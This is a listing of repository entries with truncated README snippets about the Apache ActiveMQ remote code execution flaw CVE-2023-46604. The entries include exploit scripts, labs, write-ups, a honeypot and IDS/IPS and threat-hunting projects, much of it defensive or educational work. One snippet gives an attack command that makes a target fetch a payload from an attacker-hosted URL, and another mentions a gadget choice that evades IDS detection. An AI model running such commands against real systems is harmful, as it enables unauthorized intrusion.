ActiveMQ-RCE-Exploit

ActiveMQ-Exploit English | Simplified Chinese CVE-2023-46604 ActiveMQ RCE 5.18.3 Exploit No outbound network exploit Supports JDK 1.8 runtime; automatically checks if target version is within the vulnerability scope Supports exploiting no-outbound targets using Shiro INI configuration to achieve...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Project Reference This project is a python version of the exp rewritten based on the exp from the https://github.com/X1r0z/ActiveMQ-RCE project. Usage python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 The -p parameter defaults to the default port of activeMQ. No...

CVE-Lab

CVE-2023-46604 Lab This lab guides on exploiting vulnerabilities of CVE-2023-46604 Acknowledgements Apache ActiveMQ CVE-2023-46604 Environment This lab requires the installation of 2 virtual machines. One Kali Linux machine version 2023.4 and one Ubuntu machine version 22.04.3 LTS. You can downlo...

ActiveMQ-RCE-CVE-2023-46604-Write-up

This repository does not have a README...

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE Pseudoshell This script leverages CVE-2023046604 Apache ActiveMQ to generate a pseudo shell. The vulnerability allows for remote code execution due to unsafe deserialization within the OpenWire protocol. Description CVE-2023-46604 is a deserialization vulnerability that exists ...

activemq-cve-2023-46604-lab

This repository does not have a README...

Broker_ApacheMQ

BrokerApacheMQ CVE-2023-46604 - ApacheMQ バージョン 5.15.5 の脆弱性 マシン: Broker...

CVE-2023-46604_ActiveMQ_RCE_Recurrence

Enter activemq/bin, select x64 or x32, and run activemq.bin with administrator privileges. Access admin at port 8161, admin/admin If it cannot be started, check whether the port is occupied and modify activemq.xml in conf. In my machine, the MQTT port was occupied, so I modified it. 2. Start an...

ExploitScript-CVE-2023-46604

ExploitScript-CVE-2023-466064 免責事項 このリポジトリには CVE-2023-466064 の概念実証コードが含まれており、厳密に教育目的 で提供されています。作者および貢献者は、いかなる違法行為も推奨しません。ここに提示された情報は、学術的、セキュリティ研究、テスト目的、および HackTheBox のマシン Broker の現在の解決のために使用されます。...

CVE-2023-46604-demo

This repository does not have a README...

ActiveMQ_CVE-2023-46604

ActiveMQCVE-2023-46604 PY実装により、データトラフィックの並行パケットを迅速に構築できます。2つのgadgetクラスの実装が含まれています：org.springframework.context.support.FileSystemXmlApplicationContext と org.springframework.context.support.ClassPathXmlApplicationContext。FIleSystemXml は一部のIDS検知デバイスを回避できます。...

activemq-ids-ips-lab

IDS/IPS Lab - Protecting Apache ActiveMQ from RCE Attacks This project evaluates how IDS and IPS mechanisms can detect and prevent exploitation of Apache ActiveMQ vulnerability CVE-2023-46604 in a controlled lab environment. Project Overview The lab was designed with separated attacker, gateway,...

CVE-2023-46604

CVE-2023-46604 By Ruben Fobe & Klaas Stessens Intro WARNING This project is intended for educational and lab purposes only. Only use these techniques in environments you own or are authorized to test. This lab will simulate the exploitation of CVE-2023-46604, by using a Kali Linux VM attacker and...

ActiveMQ-CVE-2023-46604

CVE-2023-46604 ActiveMQ 安全验证器 一个单文件、非破坏性的 Apache ActiveMQ CVE-2023-46604 验证器。它会启动自己的 HTTP 回调服务器，在内存中生成针对目标的 Spring XML，发送精心构造的 OpenWire 数据包，将回调与唯一令牌关联，并写入 CSV/JSON 证据。 该项目专为授权渗透测试和资产清单验证而设计。它刻意不 实现反向 Shell、无限制命令执行、CIDR 扩展、持久化或载荷暂存。 验证器能证明什么 提供两种固定的验证模式： rce 执行一个固定的、只读的身份探测命令，并将其输出返回给内置 HTTP...

activemq-rce-cve-2023-46604

README simple analysis for CVE-2023-46604 https://thinkycx.me/2024-04-19-activemq-cve-2023-46604-analysis.html...

honeypot.rs

honeypot.rs Honeypot that scopes CVE-2023-46604 Apache ActiveMQ RCE Vulnerability and focused on getting Indicators of Compromise. This honeypot can be used in any Threat Intelligence infrastructure to get attacker's IP adresses, Post-Exploitation samples and malware samples. This information can...

SSP-Assignment-3-RCEYouLater

CVE-2023-46604: Apache ActiveMQ RCE Proof of Concept Assignment: SSP Assignment 3 Team: RCE You Later Members: Banica Horia Alexandru, Comarlau Vlad-Constantin Video link of using the repo to do the PoC:https://www.youtube.com/watch?v=vum4qTF4ygU 🚨 Overview This repository contains a fully...

activemq-cve-2023-46604

Active MQ CVE-2023-46604 exploit This repository is a guide with examples on how to exploit the CVE-2023-46604 The exploit takes advantage of the usage of reflection for instantiating Exception classes through a malicious command that instead of being a valid command, it sends as the exception...

intel471-threat-hunting-cve-2023-46604

Intel 471 Threat Hunting Workshop – CVE-2023-46604 Investigation Overview This repository documents my first hands-on experience with Intel 471’s Intelligence-Driven Threat Hunting Workshop focused on CVE-2023-46604. Through this practical workshop, I investigated how attackers leveraged a critic...

Project-Vuln-Detection-N-Mitigation_101

Project-Vuln-Detection-N-Mitigation101 Apache ActiveMQ Deserialization RCE CVE-2023-46604 – Phase 2 Project Security Architectures & Systems Administration Author: Vaishnavu C V · Date: 17 Sep 2025 Status: ⌀ Phase 2 deliverables complete Overview This repository documents a hands‑on security desi...